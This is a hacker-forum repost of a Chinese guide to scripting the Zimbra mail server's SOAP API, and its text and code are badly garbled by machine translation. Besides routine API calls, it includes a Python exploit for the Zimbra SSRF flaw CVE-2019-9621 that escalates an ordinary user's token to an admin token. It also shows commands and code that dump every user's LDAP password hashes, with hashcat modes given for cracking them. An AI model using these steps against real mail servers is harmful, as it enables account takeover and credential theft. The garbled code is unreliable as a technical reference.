跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Zimbra SOAP API开发指南


剑道尘心

推荐的帖子

0x00 前言

通过Zimbra SOAP API能够对津布拉邮件服务器的资源进行访问和修改、津布拉官方开源了计算机编程语言实现的Python-Zimbra库作为参考

为了更加了解Zimbra SOAP API的开发细节,我决定不依赖Python-Zimbra库,参照应用程序接口文档的数据格式尝试手动拼接数据包,实现对Zimbra SOAP API的调用

0x01 简介

本文将要介绍以下内容:

Zimbra SOAP API简介

Python-Zimbra简单测试

Zimbra SOAP API框架的开发思路

开源代码

0x02 Zimbra SOAP API简介

Zimbra SOAP API包括以下命名空间:

zimbraAccount

zimbraAdmin

zimbraAdminExt

zimbraMail

津布拉雷普

zimbraSync

津布拉沃西

每个命名空间下对应不同的操作命令,其中常用的命名空间有以下三个:

津布拉行政区邮件服务器的管理接口,需要管理员权限

zimbraAccount,同津布拉用户相关的操作

zimbraMail,同津布拉邮件的操作

津布拉邮件服务器默认的开放端口有以下三种:

1.访问邮件

默认端口为80或443

对应的地址为:uri"/服务/肥皂"

2.管理面板

默认端口为7071

对应的地址为:uri ':7071/service/admin/soap '

3.管理面板-访问邮件

从管理面板能够读取所有用户的邮件

默认端口为8443

对应的地址为:uri ':8443/mail?adminPreAuth=1 '

0x03 Python-Zimbra简单测试

参考地址:

https://github.com/Zimbra-Community/python-zimbra

http://zimbra-community.github.io/python-zimbra/docs/

对于自己的测试环境,需要忽略加密套接字协议层证书验证,使用如下代码:

导入安全套接层

ssl ._ create _ default _ https _ context=SSL _创建_未验证_上下文

使用用户名和口令登录的示例代码如下:

令牌=auth.authenticate(

url,

[email protected]

密码123456 ',

使用密码=真

)

使用预认证密钥登录的示例代码如下:

令牌=auth.authenticate(

url,

[email protected]

'秘密预认证密钥'

)

1.普通用户登录

对应的地址为:uri"/服务/肥皂"

获得发件箱邮件数量的示例代码如下:

导入pythonzimbra .通信

来自pythonzimbra .通信导入通信

导入pythonzimbra.tools

从pythonzimbra.tools导入授权

导入警告

警告.过滤器警告("忽略")

导入安全套接层

ssl ._ create _ default _ https _ context=SSL _创建_未验证_上下文

URL=' https://192。168 .112 .1/服务/soap '

comm=通信(网址)

令牌=auth.authenticate(

url,

测试,

密码123456 ',

use_password=True,

)

信息请求=通信生成请求(令牌=令牌)

信息请求。添加请求(

' GetFolderRequest ',

{

文件夹':{

路径"://已发送"

}

},

' urn:zimbraMail '

)

信息响应=通信发送请求(信息请求)

打印(info _ response。get _ response())

如果不是info_response.is_fault()。

打印('大小:% s ' % info _ response。get _ response()[' GetFolderResponse '][' folder '][' n '])

运行结果如下图

2-1.png

2.管理员登录

对应的地址为:uri ':7071/service/admin/soap '

获得所有邮件用户信息的示例代码如下:

导入pythonzimbra .通信

来自pythonzimbra .通信导入通信

导入pythonzimbra.tools

从pythonzimbra.tools导入授权

导入警告

警告.过滤器警告("忽略")

导入安全套接层

ssl ._ create _ default _ https _ context=SSL _创建_未验证_上下文

URL=' https://192。168 .112 .1:7071/服务/管理/soap '

comm=通信(网址)

令牌=auth.authenticate(

url,

管理,

密码123456 ',

use_password=True,

admin_auth=True

)

信息请求=通信生成请求(令牌=令牌)

信息请求。添加请求(

GetAllAccountsRequest ',

{

},

urn:zimbraAdmin

)

信息响应=通信发送请求(信息请求)

如果不是info_response.is_fault()。

打印(info _ response。get _ response()[' GetAllAccountsResponse '])

运行结果如下图

2-2.png

0x04 Zimbra SOAP API框架的实现

Zimbra SOAP API的参考文档:

https://维基。津布拉。com/wiki/SOAP _ API _ Reference _ Material _ Beginning _ with _ ZCS _ 8

https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-参考/索引。超文本标记语言

实现的总体思路如下:

模拟用户登录,获得代币

使用代币作为凭据,进行下一步操作

1.token的获取

(1)普通用户token

说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra帐户/auth。超文本标记语言

对应命名空间为zimbraAccount

请求的地址为:uri"/服务/肥皂"

根据说明文档中的肥皂格式,可通过以下计算机编程语言代码实现:

def auth_request_low(uri用户名,密码):

request _ body=' ' ' {用户名} {密码}

'''

打印('[*]尝试验证低令牌)

尝试:

r=请求。post(uri '/service/soap ',data=request_body.format(用户名=用户名,密码=密码),验证=假,超时=15)

如果r .文本中出现"验证失败":

打印(' %s'%(用户名)的[-]验证失败)

返回错误的

r .文本中的elif"authToken ":

模式_身份验证_令牌=re。编译(r '(r .*?)')

token=模式_验证_令牌。查找全部(r . text)[0]

打印(" %s "(用户名)的[ ]身份验证成功)

print('[*]authToken _ low:% s ' %(token))

返回令牌

否则:

打印('[!]')

打印(正文)

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

(2)管理员token

说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra admin/auth超文本标记语言

对应命名空间为zimbraAdmin

请求的地址为:uri ':7071/service/admin/soap '

根据说明文档中的肥皂格式,可通过以下计算机编程语言代码实现:

def验证请求管理(uri,用户名,密码):

request _ body=' ' ' {用户名} {密码}

'''

打印('[*]尝试验证管理令牌)

尝试:

r=请求。post(uri ':7071/service/admin/soap ',data=request_body.format(用户名=用户名,密码=密码),验证=假,超时=15)

如果r .文本中出现"验证失败":

打印(' %s'%(用户名)的[-]验证失败)

返回错误的

r .文本中的elif"authToken ":

模式_身份验证_令牌=re。编译(r '(r .*?)')

token=模式_验证_令牌。查找全部(r . text)[0]

打印(" %s "(用户名)的[ ]身份验证成功)

print('[*]authToken _ admin:% s ' %(token))

返回令牌

否则:

打印('[!]')

打印(正文)

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

补充: (3)普通用户token-管理员token

漏洞编号:CVE-2019-9621

利用ProxyServlet.doProxy()函数白名单检查的缺陷,能够将uri '/服务/肥皂'的请求代理到uri ':7071/service/admin/soap ',进而获得管理员代币

计算机编程语言实现代码如下:

def低令牌_到_管理令牌_由_ SSRF(uri,用户名,密码):

request _ body=' ' ' {用户名} {密码}

'''

打印('[*]尝试验证低令牌)

尝试:

r=请求。post(uri '/service/soap ',data=request _ body。格式(xmlns=' urn:zimbraAccount ',用户名=用户名,密码=密码),verify=False)

如果r .文本中出现"验证失败":

打印(' %s'%(用户名)的[-]验证失败)

返回错误的

r .文本中的elif"authToken ":

模式_身份验证_令牌=re。编译(r '(r .*?)')

low _ token=模式_验证_令牌。查找全部(r . text)[0]

打印(" %s "(用户名)的[ ]身份验证成功)

print('[*]authToken _ low:% s ' %(low _ token))

标题={

内容类型':'应用程序/xml '

}

标头['Cookie']='ZM管理验证令牌='低令牌';'

头['Host']='foo:7071 '

打印('[*]尝试通过SSRF获得管理令牌(CVE-2019-9621)’)

s=requests.session()

r=s . post(uri '/服务/代理?target=https://127。0 .0 .1:7071/服务/管理/soap ',数据=请求_正文。格式(xmlns=' urn:zimbraAdmin ',用户名=用户名,密码=密码),头=头,验证=假)

如果r .文本中有" authToken ":

admin _ token=模式_验证_令牌。查找全部(r . text)[0]

印刷("[]SSRF的成功")

打印('[ ]管理令牌: '管理令牌)

返回管理员令牌

否则:

打印('[!]')

打印(正文)

否则:

打印('[!]')

打印(正文)

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

2.命令实现

如果需要管理员令牌,在说明文档中每个命令的需要管理员授权令牌项会被标记,如下图

3-1.png

这里挑选几个具有代表性的命令进行介绍

(1)GetFolder

说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra mail/getfolder。超文本标记语言

用来获得文件夹的属性

需要普通用户代币

枚举所有文件夹下邮件数量的计算机编程语言代码如下:

def getfolder_request(uri,token):

request _ body=" " " { token }

'''

尝试:

打印('[*]尝试获取文件夹)

r=请求。post(uri '/service/soap ',data=request _ body。格式(令牌=令牌),验证=假,超时=15

pattern _ name=re编译(r ' name='(r .*?)'')

名称=模式名称。查找全部(r . text)

pattern _ size=re . compile(r ' n='(r .*?)'')

大小=模式_大小。查找全部(r . text)

对于范围内的本人(姓名):

打印('[ ]名称:%s,大小:% s“%(名称[我],大小[我]))

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

测试结果如下图

4-1.png

(2)GetMsg

说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra mail/getmsg。超文本标记语言

用来读取邮件信息

需要普通用户代币

查看指定邮件的计算机编程语言代码如下:

def getmsg_request(uri,token,id):

request _ body=" " " { token } { id }

'''

尝试:

打印('[*]尝试获取消息)

r=请求。post(uri '/service/soap ',data=request _ body。格式(token=token,id=id),verify=False,timeout=15)

打印(正文)

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

这些需要指定要查看邮件的消息ID,测试结果如下图

4-2.png

(3)GetContacts

说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra邮件/获取联系人。超文本标记语言

用来读取联系人列表

需要普通用户代币

计算机编程语言实现代码如下:

def getcontacts_request(uri,令牌、电子邮件):

request_body='''{token}{email}

'''

尝试:

打印('[*]尝试获取联系人)

r=请求。post(uri '/service/soap ',data=request _ body。格式(令牌=令牌,电子邮件=电子邮件),验证=假,超时=15)

pattern _ data=re . compile(r '(r .*?)')

数据=模式_数据。查找全部(r . text)

打印(数据[0])

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

测试结果如下图

4-3.png

(4)GetAllAccounts

说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra admin/getallaccounts。超文本标记语言

用来获得所有用户的信息

需要管理员代币

获得所有用户列表,输出用户名和对应身份的计算机编程语言实现代码如下:

def getallaccounts_request(uri,token):

request _ body=" " " { token }

'''

尝试:

打印('[*]尝试获取所有帐户)

r=请求。post(uri ':7071/service/admin/soap ',data=request _ body。格式(令牌=令牌),验证=假,超时=15)

pattern _ name=re编译(r ' name='(r .*?)'')

名称=模式名称。查找全部(r . text)

模式_帐户id=re。编译(r ' id=').*?)'')

帐户id=模式_帐户id。查找全部(r . text)

对于范围内的本人(姓名):

打印('[ ]名称:%s,Id:% s“%(名称[我],帐户Id[i])

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

测试结果如下图

4-4.png

(5)GetLDAPEntries

说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra admin/getldapentries。超文本标记语言

用来获取轻量级目录访问协议搜索的结果

需要管理员代币

实现轻量级目录访问协议查询的计算机编程语言代码如下:

def getldapentries_request(uri,token,query,ldapSearchBase):

request _ body=" " { token } { query } { ldapSearchBase }

'''

尝试:

打印('[*]尝试获取% s“%(查询)的轻量级目录访问协议条目

r=请求。post(uri ':7071/service/admin/soap ',data=request _ body。格式(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)

打印(正文)

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

这里我们需要先了解zimbra openLDAP的用法,才能明白参数询问和轻量级目录访问协议搜索库的格式

在津布拉服务器上测试以下命令:

1.获得连接轻量级目录访问协议服务器的用户名和口令:

苏津布拉

/opt/zimbra/bin/zmlocalconfig-s | grep zimbra _ LDAP

如下图

5-0.png

2.使用获得的用户名和口令连接轻量级目录访问协议服务器,输出所有结果:

/opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra' -w kwDhJ6L1V9

如下图

5-2.png

3.加入筛选条件,只显示用户列表:

/opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。' com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9 '((对象类=zimbra帐户))'

或者

/opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。' 389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ' ou=people,dc=zimbra,dc=com '

如下图

5-3.png

可以注意到用户密码项为用户口令的混杂

4.再次加入筛选条件,只显示用户名称和对应哈希:

/opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。' com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9 '((对象类=zimbra帐户))'邮件用户密码

如下图

5-4.png

其中导出的混杂前12字节为固定字符e1NTSEE1MTJ9,经过base64解密后的内容为{SSHA512},后面部分为SHA-512加密的字符,对应哈希卡特的哈希模式为1700

补充1:其他ldap命令

查询津布拉配置信息:

/opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ' cn=config,cn=zimbra '

/opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ' cn=cos,cn=zimbra '

查询津布拉服务器配置信息:

/opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ` cn=servers,cn=zimbra ' "

其中包括如下内容:

zimbraSshPublicKey

zimbraMemcachedClientServerList

zimbraSSLCertificate

zimbraSSLPrivateKey

补充2:连接MySQL数据库的操作

1.获得连接关系型数据库数据库的用户名和口令:

苏津布拉

/opt/zimbra/bin/zmlocalconfig-s | grep MySQL

如下图

5-5.png

2.连接关系型数据库数据库:

/opt/zimbra/bin/MySQL-h 127。0 .0 .1-u根-P 7306-P

3.查看所有数据库:

显示数据库;

如下图

5-6.png

综上,如果要查询所有用户的信息,查询的值可以设置为cn=*,ldapSearchBase的值可以设置为' ou=people,dc=zimbra,dc=com '

注:

不同环境的轻量级目录访问协议搜索库值不同,通常和域名保持一致

通过轻量级目录访问协议查询获得用户名称和对应混杂的计算机编程语言代码如下:

def getalluserhash(uri,token,query,ldapSearchBase):

request _ body=" " { token } { query } { ldapSearchBase }

'''

尝试:

打印('[*]尝试获取所有用户的哈希’)

r=请求。post(uri ':7071/service/admin/soap ',data=request _ body。格式(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)

如果r .文本中有“用户密码”:

模式_数据=re。编译(r '用户通行证(*?)对象类)

数据=模式_数据。查找全部(r . text)

对于范围内的一级主管(资料):

pattern_user=re.compile(r'mail '(.*?)')

用户=模式_用户。查找所有(数据[I])

pattern _ password=re编译(r ' word ').*?)')

密码=模式_密码。查找所有(数据[I])

打印('[ ]用户:% s“%(用户[0]))

打印('哈希:%s'%(密码[0]))

否则:

打印('[!]')

打印(正文)

例外情况为e:

打印('[!]错误:% s"%(e))

退出(0)

测试结果如下图

6-1.png

其中导出的混杂对应哈希卡特的哈希模式为1711

注:

新版本的津布拉无法读取哈希,显示价值受阻,如下图

6-2.png

0x05 开源代码

代码已开源,地址如下:

https://github。com/3g student/job-of-Python/blob/master/Zimbra _ SOAP _ API _ manage。巴拉圭

代码支持三种连接方式:

普通用户代币

管理员代币

SSRF(CVE-2019-9621)

成功连接后,将显示支持的命令。

普通用户令牌支持的命令如下:

GetAllAddressLists

获取联系人

获取文件夹

GetItem,例如:GetItem /Inbox

GetMsg,例如:GetMsg 259

部分测试结果如下

7-1.png

令牌支持以下命令:

GetAllDomains

获取所有邮箱

GetAllAccounts

GetAllAdminAccounts

GetMemcachedClientConfig

GetLDAPEntries,例如:GetLDAPEntries cn=* dc=zimbra,dc=com

getalluserash,例如:getalluserhash dc=zimbra,dc=com

部分测试结果如下

7-2.png

0x06 日志检测

登录位置是/opt/zimbra/log/mailbox.log。

请参考https://wiki.zimbra.com/wiki/Log_Files的其他种类的邮件日志。

0x07 小结

本文简单测试了Python-Zimbra库,根据API文档的数据格式手工拼接数据包,实现了对Zimbra SOAP API的调用。开源代码Zimbra_SOAP_API_Manage分享了脚本开发的细节,方便后续二次开发。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...